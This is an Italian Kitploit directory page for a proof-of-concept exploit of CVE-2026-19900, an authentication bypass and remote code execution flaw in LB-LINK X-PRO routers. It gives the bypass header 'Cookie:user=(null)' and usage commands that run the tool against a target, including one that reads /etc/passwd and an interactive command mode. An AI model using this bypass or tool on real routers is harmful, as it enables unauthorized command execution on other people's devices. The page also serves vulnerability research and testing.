Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-19900-PoC — Proof-of-concept exploit per CVE-2026-19900, una vulnerabilità di bypass dell'autenticazione e di esecuzione remota di codice nei router LB-LINK X-PRO, che consente l'esecuzione di comandi tramite un cookie utente nullo appositamente predisposto. | Kitploit
Strumenti/GitHubGitHub/on3sk-0x1/cve-2026-19900-poc
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazione
GitHubon3sk-0x1/cve-2026-19900-poc

cve-2026-19900-PoC

Proof-of-concept exploit per CVE-2026-19900, una vulnerabilità di bypass dell'autenticazione e di esecuzione remota di codice nei router LB-LINK X-PRO, che consente l'esecuzione di comandi tramite un cookie utente nullo appositamente predisposto.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
5h 11m faNon ancora revisionato

CVE-2026-19900 LB-LINK X-PRO Bypass dell'autenticazione e RCE tramite utente nullo

CVE-2026-19900 Credenziali hardcoded e bypass dell'autenticazione RCE tramite utente nullo.

Bypass tramite Header: Cookie:user=(null)

Utilizzo

Compila ed esegui lo script con un host di destinazione:

root@kitploit:~
go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

Senza compilazione

root@kitploit:~
go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

Modalità interattiva

root@kitploit:~
./cve-2026-19900-PoC -t http://target:8080/ -i

Argomenti

  • -t: Indirizzo IP o hostname del target (obbligatorio)
  • -c: Invia il payload del comando
  • -i: Modalità interattiva (non richiede -c <cmd>)

Template Nuclei: (Template di 0x_Akoko)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

Riferimenti

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712

Scarica lo strumento